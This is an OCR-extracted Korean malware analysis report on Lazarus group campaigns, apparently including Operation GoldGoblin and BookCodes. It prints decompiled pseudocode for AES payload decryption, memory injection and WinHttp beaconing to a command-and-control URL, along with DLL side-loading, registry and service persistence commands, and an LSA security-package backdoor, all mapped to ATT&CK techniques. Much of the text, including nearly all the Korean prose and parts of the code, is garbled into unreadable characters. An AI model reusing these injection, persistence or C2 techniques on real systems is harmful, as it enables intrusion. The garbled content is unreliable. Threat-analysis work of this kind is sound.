gmemcpy (key, "g20c6qWRU3n.BePm", sizeof(key));
vle = a7 + 10;

Source = a3;

v23 = _ PAIR64_ (a4, 25);

result = LocalAlloc(@x4@u, (27 + 26));

v1l2 = result;

if ( result )

memcpy_s(result, vie, &Source, OxAuib4);

if ( command_result )
memcpy_s((v1i2 + 1@), a7, command_result, a7);

v2l = a7 + 18;

if ( (vie & @xF) I= @)

{
vie
v21

16 * ((vie >> 4) + 1);
v1e;

}

Rijndael_Sbox_l180@e1eee(key_ext, key);

key[@] = @i64;

key[1] = eie4;

vi3 = (vi@ >> 31) & exF;

if ( vi3 + vie >= @ & ((v13 + vie) & OxFFFFFFFe) != @ )
{

vl4 = v12 - key + 2;

v15 ((((vi3 + vie) & exFFFFFFFe) - 1) >> 4) + 1;
do
{ .

v1i6 = 9164;

do

{

v17 = *(key + v16);

v18 = key + vl6;

V16 += 4i64;

v1i8[vi4 - 2] ~= v17;
v18[v14 - 1] ~= v18[1];
v18[v1i4] ~= v18[2];
v18[v14 + 1] ~= v18[3];

1

while ( vié < 16 );

v19 = &key_ext[131] + v14 + 2;
AES_Algo_18@001A10(key ext, v19, v19);
vi4 += 16i64;

--v15;
key[8] = *v19;
key[1] = *(v19 + 1);
1
while ( vi5 );
}
*21 = Base64_18e003BDO(v12, &v21);
*22 = v21;
LacalFree = Decode_str("My9DHrY6s"); // LocalFree
(LacalFree)(v12);

return 1i64;
}

return result;

T1071.001 Application Layer Protocol: Web Protocols
T1041 Exfiltration Over C2 Channel

http S41E S8l SYHOE =

TOUSVATAWHE ST 2 p\x01"WinHttpOpen
“https://1 r.co.kr/mobile/index(210304).asp"
L Moz1lla/4 ) (compat1h1e, MSIE 7.0; windows NT 6.2; winbd; x64; Trident/7.0; .NET4.0C; .NET4.0E; .MET CLR 2.0.50727; .NET CL
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memset (Buffer, @, 26@);

vl =8;

Source = @i64;
vi2 = @;

v1l3 = @ie4;

sprintf_s(Buffer, ©x104uié4, "%s%s", "type=", "cisco");
result = sub_18@0@57F@(Buffer, strlen(Buffer), &Source, &v12);// WinHttpReadData_
if ( result )
{
memset(Destinationz, @, 260);
v4 = Source;
if ( Source )
{

v = v12;
if ( v12 >= exF )
{
memcpy_s(Destinationa, @x1e4ui64, Source, @xFuié4);
if ( !strcmp(Destinationa, "<!DOCTYPE html>") )

{
v6 = decode_l8eee4cle(v4 + 15, v5 - 15, &vl3, &vil2);
v7 = vl13;
if (ve )
{
v8 = ¥(vi2 + 2);
if (v8 + 10 <= v12 && V8 <= BxCeeo )
{

memcpy_s(Destination, @xCeRAuisd, vi13, vE + 18);
v2 = 1;
1

¥ **proc.sys
et 8EICH
A

NE]

otMIALC 0|59 NS 2Xt2|= HES AEX 27HE AEStD LIHX| 0|2 proc.sysZ 1™ &[0, **proc.sys YEZ &
proc.sys $MIAE = MH[AR SEotH, X AE2|0f| MEE HI0|H Zte S3tst0] CIREHY AHACE M= a| 2l
E38f| MHAlZICE Hio|HZ| 253} 2HH0 A Irmons.dIl2 RC52 st E|0f AASLL, proc.syse| AR AES128 &S L1E|F
2 Atgsta QICh

T1620 Reflective Code Loading

>
m
(7]
2
fot

o
kl
o
o
o
ofm

8l AYIE Lol £ AXI0f A= ATt E HIO|HEIE 102k St = X7 Ao T2 A A0 HjR2

AES_Key_expansion_18ee383E@(buf, L"PV1-3TE-9HB-OGHI", 89);
if ( !lpvReserved )
{
hinstDLL_ = LocalAlloc(@x4@u, ©x138ui64);
*hinstDLL_ = hinstDLL;
encrypt_binary = LocalAlloc(@x4@u, size);
vl6 = AES_decrypt_18ee37210(buf, &encrypted_bin, size, encrypt_binary, size);
if ( vie )
{
memory_inject(encrypt_binary, v16, hinstDLL_);
LocalFree(encrypt_binary);
¥

1
Sleep(@x624u);
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return viea;
if ( AES_Decrypt_180033260(Key_table, &unk_18005B2E@, ©x18, v7, 108) )// %s\\%s

if ( AES_Decrypt_180033268(Key_table, &unk_180@5B268, ©x88, v9, 528) )// SYSTEM\CurrentControlSet\services\eventlog\Application
if ( AES_Decrypt_18003326@(Key_table, &unk_18005B24@, 32, v&, 520) )// Regular
{

wsprintfW(vie, v7, v9, v8);
if ( ‘RegOpenKeyExw(HKEV LOCAL_MACHINE, v10, @, 8x28019u, &vé&) )

if ( !RegQueryValueExW(v6, &Src, ©i64, 0164, v3, &v5)// viproc
8& (V5 % 16)
&& AES_Decrypt_18003326@(Key_table, v3, v5, &C2_count, v5) )

LocalFree_0();

return 1i64;
N

AES Ez%t 22|58 S IAT H|I0|2, AHAS0AM A= EXHE(Strings) =%t
AES 253 ¢12|ES S| EXtE 253, 239= AES128 CBC ZEJf O|2E|H M=o MU0 Q= 2XE2
Unicode 16X}2|(32byte) EAtEE &, o 8712 2XIE(16byte)S 0|8 53t 7|2 &8

Recipe Tl ] Input + 0O m =

S5F 25 98 4E F3 9E 56 1F 37 E7 43 3C 50 BF 7E 4E D6 7@ F1 A8 AA A6 69 DD

SESECVES CA 13 6C C2 67 D8 18 o]

Key

50 @0 56 @0 31 @@ 2D.  EXT

v

00 20 00 00 @0 @0 @, X

Mode Input

CBC Hex

OQutput

Raw e 96 = 1 Tr Raw Bytes <L

Output BR0Om®E::

cansvchost.exe

Remove null bytes

IFELUITTT 9109,

©x186FFEA45;
8x7DC34586;
Bx220A54DA;
@x858739D1,;
©x656B57F9;
= @x658F0eCB;

1@ = @x3eD5AAEE;
vll = ©xB186AB5;
LocalAlloc 8 = aes_decrypt_18082CFFe(vl, &v4, Ox26u);
if ( llocalAlloc @ )

Y BN Y
1]

T1071.001 Application Layer Protocol: Web Protocols
T1041 Exfiltration Over C2 Channel

T1573.001 Encrypted Channel: Symmetric Cryptography
T1132.001 Data Encoding: Standard Encoding

[e] PS]
1o

FEE= X SAA CHS3H 20| X EA AE

token : YMHTAEO0|A Y EXtES MHstn AM S EZZ MM

tname : FHX|0] SAI0]| AtE8t= M4 ZOE, AM A0 HHE 3070 Ha-H T Aol S MEHBIO] AL
tname?| 2} : “A LI ETL HHSHAH MY 16byte key” + “@Z2XI” + “Registry value* 2t 2 714

Z O0lH M& Al AY A0 SIETE = 0{U= F1E 0|81 AES 212|F A3 £ 4l 0|R0l= AES Key
201 16byte KeyZ CHA|st0] 253t S41
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3o s 3
16 %10 + 'e';

% // rand Decimal
word_180858682 // rand Decimal
word_180@5B684 = 0

4byte_str_18685B67C = r
HIDHORD(gword_189958658
return result; X

// Decimal or Char!

N110836 7‘7’4

T Connection: Keep-Alive

Cache-Control: no-cache

Accept: */*

Content-Type: application/x-www-form-urlencoded

Cookie: token=[N110836774

rand_str = rand() % 0x223D + 0x4D2 Content-Length: 51

POST

tname =SE04OWJXNXBFVUIMTDk4dUAXMzYyMzczNDATMDE2NDk=

I
Decode base64 ( HM89bWS5pEUBfL98u@136237340501649 )

identy tname blogdata content thesis method ;;Zn:(‘“ff;?Ck(°"“‘—E()5

bbs  level maincode tab i b for (ent = @i4; cnc < 16; wrent ) value in Registry
isbn entry doc  category articles  portal
notice product themes manual parent  slide
vacon tag tistory property course  plugin

Brs/3))
5% 18 + 8x38;

1: f 15 %3 ==1

e 56 ( ’ GENERATE RANDOM 16BYTE
16 = V15 % 26 + ex6l;

16 = VIS % 26 + exdl;

gen_key[ent] = vi6;

T1105 Ingress Tool Transfer

£ = M 0|2 YT E FKRX|0IM It HiO|H2| CHREE 3 Y
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N = b i e e iy

if ( !WinHttpSendRequest(hInternet, ©i64, @, Buffer_2AB70, v21, v21, ©i64) )
break;
Buffer = 9;
dwBufferLength = 4;
if ( !WinHttpReceiveResponse(hInternet, ©i64) )
break;
if ( !WinHttpQueryHeaders(hInternet, ©x20000813u, ©i64, &Buffer, &JdwBufferlength, @ied) )
break;
if ( (Buffer - 288) > 8x63 )
break;
if ( !'hInternet )
break;
if ( !read_data_180@2CE3@(&qword_18605B650, @xCu, 1) )
break;
v22 = qword_188@5B658;
if ( gword_188@5B658 >= Ox2AAF@ )
break;
if ( qword_188@5B658 )

if ( !&uffer[v3] || !'nInternet || !read_data_18e@2CE3@(&buffer[v3], qword_18@@5B658, 1) )
break;
v22 = qword_188@5B658;

v3 += v22;
if (v2 >= *al )
{

v23 = LocalAlloc(@x4@u, ©xE8ui64d);

lstrepyW(v23 + 52, &word_18005E440);

lstrepyW(v23 + 2, &word_180@5EF99);

lstrepyW(v23 + 82, &WideCharStr);

*¥y22 = al[2];

*(v23 + 28) = hModule;

v24 = binary_call_18e0304A@(buffer, dwOptionallLength, dwTotallLength, dwContext, v23);
if ( buffer )

LocalFree_@();
buffer = @164;

¥

vl = 1;

flag_18005E408 = 48133 - (v24 != @);
break;

¥

F ( buffer )
LocalFree_0();
‘eturn vi;

v mi.dll
wsmprovhost.exeE £l DLL Side Loading 7|42 2 mi.dll 24 IZ =7}t M EICt

mi.dll AT EE A5l AN AMAEQ! uso.datS 2=} o) Mg A|ZICE

Malware Name Description

\mi.dll uso.datE 233}l 2Est= A AMIAC
\uso.bat HXIAER|0] SEE|0] A|AR M3 A XtS A
\uso.dat Aot E HANO] FHIAE
\wsmprovhost.exe mi.dlig E6t= 2C{(FA T22)

T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control

AEXF AE ZHEZE(User Account Control) 23|12 2/8ll 2IX|AE2|9] HI0|EHE HA
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7108 HEFTIEMZWC.. SR UAUE 732
Calibration 20230307 18:51:43 Tue GI®IE  DisplayCalbrator HKEY_LOCAL_MACHINE WSOFTWARE WiicrosoftWwindows NT¥CurrentversionWCMWCalbration

'HKEY_LOCAL_MACHINEWSOFTWARE #Microsoft#Windows N
7| g4 [ Ergiatel ofojg

Hoz uss 2 Hojg Ztolg |DisplayCaIibrator
ﬁ (CalibrationManagementEna... REG_DWORD 00000000
b DisplayCalibrator REG_SZ C:*fProgramData'#fUSOShared'uso. bat 2t =8 [REG <7

UBR .,

@ Hol ‘ C:#¥ProgramDataiUSOSharedtuso.bat e

Regsistry Path

Key path: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration
name : DisplayCalibrator

data : C:\ProgramData\USOShared\uso.dat

&) uso.bat_

Offset(h) 00 Ol 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text
00000000 43 3A 5C 50 72 &F 67 72 61 €D 44 €1 74 €1 5C 55 C:\ProgramData\U
00000010 53 4F 53 68 61 72 €5 64 5C 77 73 €D 70 72 6F 76 SOShared\wsmprov
00000020 €8 €6F 73 74 2E €5 78 €5 20 4E 43 4B 71 72 78 €1 host.exe NCKgrxa
00000030 4B €D 62 69 50 4D 4B 53 6E 33 31 62 33 33 2F 78

00000040 6B 7A 4C 45 34 4B 71 47 59 57 59 57 32 59 4C 75

00000050 2F €3 6E 72 74 59 41 74 4D €1 76 53 4C 4F 47 45 parameter
00000060 €1 56 6E 41 6A 4E &C 36 77 0D OA

T1059.003 Command and Scripting Interpreter: Windows Command Shell

MH|AE Soff "4 T2 20l wsmprovhost.exeE H#SHH, 0| dil side loading 7|'HE S8l A A= midIE 2=

Fid Dots

W6 T | S 0 B=| cner search text here. P emd.exe /c start /b CWProgr, icrosoftWRACWStateD. exe WVHiYaY
Name Value Bit Offset Bit Length Type SehCLhwK/FhVoh/ooR
EventID 7045 (0x00001B85) Int:
Keywords -9187343239835811840 (0x8080000000000000) Int(
Level 4 (0x04) Byte
LevelDisplayhame e Str
Channel System str
Computer WIN-JE7S4L9PIQB str:
Opcode 0 (6x6000) nt
OpcodeDisplayName str:
ProcessId 580 (0x00000244) nt:
EventData map(ServiceName=RACSvC, ImagePath=cad.exe /¢ start /b C:\Progr.. Hapy
servicelame RACSVC str:
ImagePath cmd.exe /c start /b C:\ProgramData\Microsoft\RAC\StateData\ws_ str:
ServiceType MEBA RE MH|A str
StartType s AE str:
Accountame LocalSystem strs
ProviderId 555908d1-a6d7-4695-8e1e- 26931420124 Guic
Providertiame service Control Manager str:
Qualifiers 16384 (@x00004000) Int:
EventRecordID 133788 (Bx0O00000B00020A9C ) Inte
Task 0 (0x00080800) Int:

T1574.002 Hijack Execution Flow: DLL Side-Loading

C:\ProgramData\USOShared\ ZZ0{ A4 T2 3240l wsmprovhost.exeE S At £ DLL Side-Loading 7|5 S 0|83 24
EEE[0{0f 3t C:\Windows\system32\mi.dll CHAl St T Eet S 20| A= AT EQ!
C:\ProgramData\USOShared\mi.dIlE £EE
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wsmprovhost exe

| 58 muts.dl
i S aieli10d Propaty. | Vakoe 3 < Property Value
- P FlleName | C. apemswncor || FileName | C#Windows#system32#mi.dll
a FleType | Portable Executable 6 o e |[FreTyee Portable Executable 64
{3 osroEd Flk Ino No match found. apimswin<or || Fie nfo No match found.
apimewncoreocsizatan 120,41 oms-win-<or
Fil size 7034 MB (73759488 bytes) e || Fllesize 148.00 KB (151552 bytes)
2pims i core deug 41-1.0,d1 P size 260 M8 (2934784 bytes) ms-win-<or
e e wimewene || pe sie 148.00 KB (151552 bytes)
Created Wednesday 07 June 2023, 17.15.23 ftiniuinadll| preren Saturday 07 May 2022, 141927
ot corenteroded 110,41 , " 15561
o |[Modfied mhusday 18 May 2023, 153617 apimswn<or [ vodified | Saturday 07 May 2022, 14.19.27
apims i core e 110,01 Accessed | Wednesday 07 June 2023, 17.18.07 apims-win<on
i core ayainfor1 208 apimswincor || Accessed | Wednesday 07 June 2023, 17.19.01
D5 AES181B07DADCDACO90FB47324325D50 o
= X i 40419E7268D515CAEBC 141
= / o — - Y e ey || vos 00BE40419E7268D515CAEBC141CDO5B3
F— & Hex Eator — apimswnor | || sHa-1 730872F97898B374FC3794D6F474C59FB6491EDA
[ % iderttier {3 — Ll
[ % impont Adder s i ety iy 1108 property Value [ tom e aa
[ 9 Guick Dissssemer SEend eaa Commerts Source code at /v gthub comjesnpau [ & oot adder & 3 poma Property Value
C 3 e e atans v core elyoad 11101 CompanyName | cererus-design de I %) Guick Disassembler v | |[ companyneme — wieosot coporaton
or apims-wcore dlaoad 1-1.0.d [— % Rebuider
ot <o ey 110 FileDescription | NgpCrypt - Notepade+ Plugin & e cator apims-wnor | || FileDescription | Management Infrastructure
‘apims-win-donrlevel-sdvapi3244-10.d1 Fileversion 1016 sprmswne | || Fileversion 10.0.22621.1 (WinBuild.160101.0800)
apims <o kemel32-egacy 41111 apimswindo
@ IntemalName | NppCrypt apims-wn<or | [ intemaiName mid
msvi-core-celeyoad1-1-1.dl « » -3
= === ippCryp spmswncoed | || originalfilename  midll
2pims-wincore-ay
ProductName Microsoft® Windows® Operating System

DLL side loading 7|42 0|83 M El mi.dlli2 otziet 20| S

6]
1. 2 AARIS| AFRE|HS MD5SHAIRISH AES 4% 2T2|E 7|2 AL
2
3. =33 ot g2 Y= otEl ot Ao mAE 1 E535 7| gIoE 22|
4

5. EZ3}3t of T S (uso.dat) A 2] 1% M)

Data = base64 Deocde(parameter) Key = MD5 Hash(ComputerName)

[PI—

AES Decrypt(Data, KEY)
I}
OS5NODwYJ )q942Gn4kuso.dat

SR —

v

AES Decrypt(Data, KEY)

Amm—————

Inject Memory
(Malicious Code)

T1620 Reflective Code Loading

AES £33 12|52 E8 C:\ProgramData\USOShared\uso.dat Y2 255} 3t &, XpAS TZN AN HEZEIE Y 5
¥
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SIZE_ = (GetFileSize)(h_file, @i64);

Malicious = LocalAlloc(@x4@u, SIZE );

ReadFile = ReadFile_;

if ( !ReadFile_ )

{
ReadFile = IAT_180889370(Ox54FCC943i64, ©i64, 0i64);
ReadFile_ = ReadFile;

(ReadFile)(h_file, Malicious, SIZE_, &size_ 1, @ie4, 128, 0i64);

CloseHandle = CloseHandle_;

if ( !CloseHandle_ )

{
CloseHandle = IAT_180089370(0xFABAGR65i64, @i64, 0i64);
CloseHandle_ = CloseHandle;

¥

(CloseHandle)(h_file);

v72 = 9164;

v73 = 9164;

extien_18e0098F60(key, &v76, 128);

AES_DEcrypt_18@097ECO(key, &v72, Malicious, Malicious, size_1);

memory_inject_188@9AFA@(Malicious, size 1, @i64);

Recipe a [ ] i Input

| O\¢ui/aU7AAT6 | ASswe s hAgocistxso Ee "1x | *WP+e>tPI¥vreA:, o o Vyna}E®)ng{move0af 2 'R [PRLQ"
AES Decrypt on omAUUeulia iy sa ae PR R P
AU URE cs Fs1 5 PRi%enlieI¢FEs e onELE¢ecrshe oDE oEEgfiQue | A1, AE2UqUBECsRIsc2yy oK o> ooc:

Key v "é6r0U- ErancsnAHzie{a

LATIN1 ~ HEX ~ - @bucson® e sQNbVG\~§UNUBALCYON/ sooci_<Bem+a}, /xsec] edade e Edsicanrecore 2E2 0 68QRyiee cnYR&IP
O5NeDwYJpY2D2... 00 00 00 00 00 .. N s
« JW4"ersHONaB e oV @ 0 Csi@D | 3~ (#o Geroacortpese_lse[VeEevr!_sw2ivsHez, e1N&2
es@L s =10e71C| csG) #B*QBBU%DGE ‘@6 PLID/§¢ , 6~ ~can®Q{ Do rs "2< e SGAUA | “BWoc:Oxn g Tetenuac rsyl

Mode Input Output 0 0
CBC Raw Raw scchékbocrh_
S%ena[ B=soners cs Ao Yeor[ . vuka+aE, 0ADsm2 | tocsd«/AeieQaFIBAr¥3bx " “°LA?
PPy .oc:088¢se e JAKeGU & cAE %002 B! ToBHE o2k [#EL)mer #9 0 2esce ICWOIUU+ELFEUN Tstxhocawocsd e
To Hexdump on AUYAEZA+IDC«PLeorerx "A¥1$2RAZRP us o , « 7D 1R+$@9 000 o acktIen@Aocs, ¥m&e %10 e  AWCG en xY-Uqi e - ocs
Widtt n; 124i616 -_: ;éll o i ) ’ ) . ) o o - -
idth
16 D Upper case hex D Include final length

Output ’/:

joooeeee 4d 5a 90 00 ©3 00 60 @0 @4 00 @0 00 ff ff 00 60 |[MZ.......... 9.0
00000010 bS 00 00 00 00 00 00 00 40 00 90 90 00 90 00 00 |, ...... .
00000020 ©0 00 00 00 00 00 00 00 90 90 90 90 00 90 00 00 |....... |
00000030 00 00 00 00 00 90 00 00 00 00 00 00 10 Ol 00 0o |. ..
00000040 ©e 1f ba @e 00 b4 09 cd 21 b8 ©1 4c cd 21 54 68 |..2.. .I! .LI!Th|
00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program canno|
00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS |
00000070 6d 6F 64 65 2e Od ©d @a 24 ©0 00 00 00 00 00 00 |mode....$....... |

00000080 1c 5c a8 12 58 3d c6 41 58 3d c6 41 58 3d c6 41 |.\".X=EAX=£AX=£A|
STEP 00000090 13 45 5 40 52 3d c6 41 13 45 c3 40 e7 3d c6 41 |.EAGR=AA.EA@c=£A|
> Aot Dol .

D UNIX format

¥ uso.dat

uso.dat = mi.dliol] 23 S SHAES 128) E| 1 H=2| QMM S So| 4HEICE AYIE= HHROXIO|A =7t FHS gotet
HZ2|ol M H&sh= J|50] AL

T1027.007 Obfuscated Files or Information: Dynamic API Resolution
Y IFEOM ABSHE APIZSE SHAIZ MFE|0f A2, Al 2L2 H|uSH APIZ+E =&
V8 = GetlLogicalDriveStringsA;
if ( !GetLogicalDriveStringsA )
{
v8 = API_180017520(OxE61F6613, 0ied);
GetLogicalDriveStringsA = vE&;

}

T1140 Deobfuscate/Decode Files or Information

StMICO|M AFRSHE 2XIE 2 xor2 Q13 (xor 7|2t B4 Ato|)

bl
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output
a

memset(Buffer, @, @x2e@8uiskd); :Zfestr::.ng

*&u84 = @x17891791178A17A0i64; sliced_values sEring [iad] Rfordigin (hexZstring);R4)]
*(&v84 + 1) = ex178F178B17861784i64; o

LOWORD(vES) = @; 7 value_int = th Evalu;: 16)

for ( k =0; k < 8; ++k ) result = value_int ~ key

*(&ua4 + k) "= k + Ox17E4; chareRcha(hesule)
key +=1
output char
( result :", output)

xor result : Download

T1132.001 Data Encoding: Standard Encoding

RO X[t SIS ol ChS 2t 20| EXE S HESHA HG5t1, Base64 Q1ZYS S HO|ZE HE U M A=

Gen ranStr[8] Gen ranStr{32] Gen ranStr[24]

v

Buffer = SIGNBTGLG Set flag value Gen ranStr([8]

v '

7~ Strings A = Base64 Encoding ( ( Buffer[:16] xor Gen ranStr| :16] ) +( Buffer[16:] xor Gen ranStr[16: ] ) )

Strings B = Base64 Encoding ( Gen ranStr[24] ) e------sxmmsmmnmmmmmmme oo '

i Gen ranStr(3-7] -------- :
' ¥

v v
C2 Address /Board/htmiEdit/PopupWin/Editorasp  3zvF = Ygt/DA8sNhERcS02cgNTAHIrQHhwUTUD MUI4Qk14elZwSUXTSjUxNzcyNje4a2FT

T1071.001 Application Layer Protocol: Web Protocols

B £AA SF ST Atololl HlOIEI7} MRUE|0] O, 242 HOIEIS Sof 27t BYS 43

ViZlb = U104&4;
memset(v224, @, ©x104ui6d);
strepy (
chelek_str,
"<!DOCTYPE html><html><head></head><body marginwidth=\"@\" marginheight=\"@\" style=\"background-color:transparent\"><script>");
strcpy(chcck str_, "</secript»</body></html>");

V_i 1 = recv_data;
if ( Irecv _data )

goto LABEL_82;
v18 = dec_rev;
if ( dec_rev < @xA5 )

goto LABEL_82;
doctype_ptr = strstr(recv_data, check_str);
if ( !doctype_ptr )

goto LABEL_82;

<IDOCTYPE html><html><head></head><body marginwidth=\"0\" marginheight=\"0\" style=\"background-color:transparent\"><script>
[data]
</script></body></htm1>

v Attribution
22|= O|H AFDE BEMstE DtHA SO|2R2 M2 LARCE 2IXHRA D52 O|Fof| 2R ESHAID0|A 2ot MEE
7-

pS|
ETZ A8 3H7|YS BS TSHA7| 12 ACh= Aolct

20204 Operation BookCodes OflAf 9t ALE0] A AATE 37} 0| 20] HOB, 7|Z HHALD BHoIA S At
S Sof ${o1YS BT HOR WOILH). E8t 0 BHA| C4o] AR AR ANOIET} &S Bt 01210] SHoIZ|QICt 202010] LAY

(]

A
A
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o Q12 AL 1Z00] Of# ALDOIN E{YE HOIXIZ BT KFHQl FES gloL), SARE ABAE NSHOZ 22k Yo
27 xfeloz & ofgsta QCt

2, IS/ FHE AT HZARO HL? FALLCHILL 2EZETL 2Rl ALt SA| 2E/0 7HE &
MR HE S 23 =AM, ofH At of =0 M| OJX| CiCt4~= 2018 2fAtEA O F0] 23 A=t
.?.. L

e Target : press, marine industry,
Financial S/W development

Initial Access :
Watering Hole

EpoLt e Financial security S/W vulnerabilities
» Target : defense industry,
cryptocurrency exchange
e Initial Access :
Spear Phishing, DreamJob
Watering Hole (Death Note) FALLCHILL

S/W vulnerabilities

e Target : Hosting company,
Financial S/W development
G/W development

e Initial Access:
Spear Phishing

1. ‘2020 Operation BookCodes

Operation BookCodes& KrCert0|Al 20201d 3703t S AHE, EFIH QJEYE A2 Eol| 0|F0{ FCt. ojuf, 2ot AZE
2o FAHo| AZEACH, A CHAOE HZAL Hot AT EQ0] JHEAL SHAMAZR SS S AMCE

2. Dream Job (Death Note)

2020 ClearSky0ll Al 2718t Operation Dream Job(Death Note)= 32| g3 3l #QAANE S AT SHAEHZ Ui Y
CH2). siel AtllolME AT|OmA HYS S6t ot PDFREES Sl O|R0{RICL 2L L FARREAR 2t 71 sl
Ol SYst AMTAET} O|SE[UACH, THAXHAL BEH 7| SH2S AZEQO] F Y HEEE

o/

3. FALLCHILL
20179 0|22 CISAMIA 2713t FALLCHILLE HIDDEN COBRAS| 2 YA 0] £ £ SILIZ Xl Z0|C} ZLH0I|A
FALLCHILLYNAEE 2018 SAE MH|A B OFH0] HLHA|, 2ot AT EL 0] JHEAL S| AsiAtD of| M EQIE|ioH,

A x HEE ADO{I|Y O|H YL E S8l O|FO{HLY,

o7

v HoAtD FAHS

Lazarus IE2 Y& 34 J|'HES HASHX|E D XEZHO = ALBSRACL O MEO| M= HHEEH Lazarus IE0| 38X
Z M8t EFHel 34 7|H0| RAUO|J=X] M&dtax} sttt

Initial Access - Drive-by Compromise
Lazarus 182 X A& A UM S St AEYE ZF 7|HE 0| ALESHRACL KB E MO|E HES RE6H7| 2l T4

—E== o=

HS HEBt 34 ER2I0)A 2= ATt

20184 ZHRFA 2 J| ¢ At

£ 2ot HE2| MZH|0| FAHE AHEH0] 7| 2| FYol| ZXdt= PCE ZFAZICL SE 7|40 P24 ZF Y2 £ ol
EH =1 IP HEHYS Sl SH J|HoIM Y2 Al 3HS TAJUC 2ot MFe FAHE

RE AO|EO| FA4H E2[H 2
o}

CE
==
AFESE| 2l8h 7t QIBAME THE1 T 215 MHE F=ts S B2 =8 S 7SR

TTPs #10 : Operation GoldGoblin - HZH|0| F2E S 0|23 MEXHo= HFst= S F T 24

30



@ Check Target IP
@ Access Community WebSite
[r——

[ -

@ Check Product Installed

Victim PC

Fake License
Watering Hole Exploit Server
t

® Install Fake License

& Access @ Malware Download URL

Fake Encode/Decode Server

Malware Distribution Server

Malware Download & Execute |

2020'd Operation Bookcodes
S4X= MY 228 MEUH ANM 2
7| 218l Internet ExplorerZ 0|

A AT oY Hs

I 2 ELHRALCE Exploit 322 +3st
83t £EH 2T 0|X|E YL E Foh=0, Ol= X YHO|ET ZTHE H|uH F|ofst @l &
2t2XO0|HA o|0] SIHE FAFS 0|83I¥7| 222 FHEICH PA| U™ A== YAHSHK| RFULCH
@ Encourage users to use |[E Browser
@ Check Target IP
v ® Send Phishing Email @® Click the Link
A‘ =
Phishing Email Victim PC
Watering Hole
® Redirect
® Malware Download and Execute
Exploit Server

20234 Operation GoldGoblin
FE AZAAO[EO] ofH AFRES HQls fIEZE HO|X|2 220, s HO|X|0f H& Al 2Ot AT EL0{9] F|ofFS
o1ge SHYTES Hots HAS ALSHLL.

TTPs #10 : Operation GoldGoblin - HZH|0| F XS 0|Esff MEXMO = &
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@ Check Target IP

@ View internet article p— @ Redirect
0=
[ -} —_——
Victim PC Watering Hole Exploit Server
t

@ Arvitray file Download and execution Exploit

6"-, (® Malware Download and Execute

Financial Security Program Malware Distribution Server

Execution - SYSTEM Service: Service Execution
Lazarus 82 LHE 29| StHTEE MH|A MK|E Eoff AHBICL AHIEE MH|AZOZ MIFEX| A7 20| MEAZ

5=

A Mlol= Hofsto] AH|A Mg X|H(EventlD 7009)2t A1{ O|#IE(EventID 7000) 237+ HEo} B3| = Zd0| EX0|C}

I (UL

WinRMSve AMH|~ SHZEE 7|Cte|= ¢t Mgt A7t =& LChoo000 2| =),

I OV

e 2/ 2 28] WinRMSve MH|AE A|ZlstR| 231 L IEP
MH[AZEA|ZO|LE ®Of 280 W27 SEolX| U

A= HEY3 MH|A 7|53t 2HAE svchost.exe ZEM AL netsves IF QH0ll AMLIEE SESH0] HASIRALE SHX| 2

A 20l cmdLt rundll ZEMAE 0|50 AFMHIACE MElist= REE HO|

|__|II
20
]

AlAO0) MH| AT} MR S SELIT

AH|2 0|8: NWCWorkstation

AH|A Ot O|F: %SystemRoot¥wSystem32wsvchost.exe -k netsves
MU 8% ME% BE My2

MHIZ AT R R AR

AH|2 3 LocalSystem

20204 Operation Bookcodes

Al=Z0 MY=7 X ASLICE

M| O] &: Windows Helper Management Service

MU= OHY 0| &: %SystemnRoot?WSystem32wsvchost.exe -k netsvcs
MH|z S8 ABA BE Mu|=

M= AE 28 AHE AR

MH|= AH: LocalSystern

2021 HAZAL XAt

TTPs #10 : Operation GoldGoblin - HZH|0| F2E S 0|23 MEXHo= HFst= S F T 24
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A2 H0| HEIAT X HRESUD)

AH| 2 0| F: RealTek

M|~ It O] 8: %SystemRootwSystem32wsvchost.exe -k netsves -p -s RealTek

H|A 9F: AMRX BT AH|A

M A AR RF: KHE AR

AH|2 A: LocalSystem

2023 Operation GoldGoblin

Al 2E0f ME|27 DX|E|AEL(CH

MH|£ 0|&: WinRMSve

AMH|A ﬂfcﬂ O|&: cmd.exe /c start /b C:#ProgramData#PicPick#¥wsmprovhost.exe 1KmSvyn2DcmudScg9vyakrecaVZs7bxl+0/bYgGbvXPmdm3/OmCmzKIG1VTMDhGO
LI ES A8 2E HH|A

MH|A A|ﬂ 8Y: XS AR

MHE|2 AE: LocalSystem

Persistence - Boot or Logon Autostart Execution: Security Support Provider

Lazarus I§2 AdHI3E X5 AHS 2l 2| X|AEE| HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
Z20| dHTFEE SEsiCt A|AE0| EEIZ|H | ocal Security Authority(LSA)E 2152 28l Security Support
Providers(SSPs)0ll S5& DLLE 2E3t=0|, ol AHIFEIF SEE|OUACHH XS = HHE|HM od #L|E A EICE
it 7|2 Sl AMIAEE XSO 2 MEstT| oA = dHTFET} C:\Windows\System32\0ll ZXHsH{OF StCt, [h2tA|
Lazarus IE2 X|&d X7t 2ot AHIFESS C:\Windows\System32\0f| 4 AL},

2021 L cHsta HsfAata

LSAO| o|sl AtsAEME|7| 28 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 2| X|AE2| AZ0|| asap
2h= 7|2 MM5t0 C:\Windows\System32\ CIAEZ| Z20]| M A E asap.diiS MA5HRALE.

Autorun Entry Description Publisher Image Path
¥ HKLMWSYSTEMYWCumentControl Set WControl Wlsa W Securtty Packages
v % asap ¢ Wwindows Weystem 12 asap di

20234 Operation GoldGoblin
O|H Qm|o|- M| M= Ct2 msl| 7|HoA] HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages | X|AE

I
2| ZZE A5 HAS 2l ArEts WS =AY 4= U/ULE.

Security Packages 30 Unknown

Command and Control - Web Service: Bidirectional Communication
Lazarus 82 TAHEE & E41 7|8te] HHROHA S SRIHLACH BHFMAMHS X = MY HHS F K= C&C Aot
C&C MHE 2t2|st7| 23t 228 MID MHZ O|20{HICt.

fook ol iotof QIE{HIO0| Qe = LHR Y ol FHMOE 2sh LHR Lol ZXHSt= Mol AFe = 7|8 c&C MHE 753
= o] EFolct.

20184 ZHRFA 2HA J| ¢ At

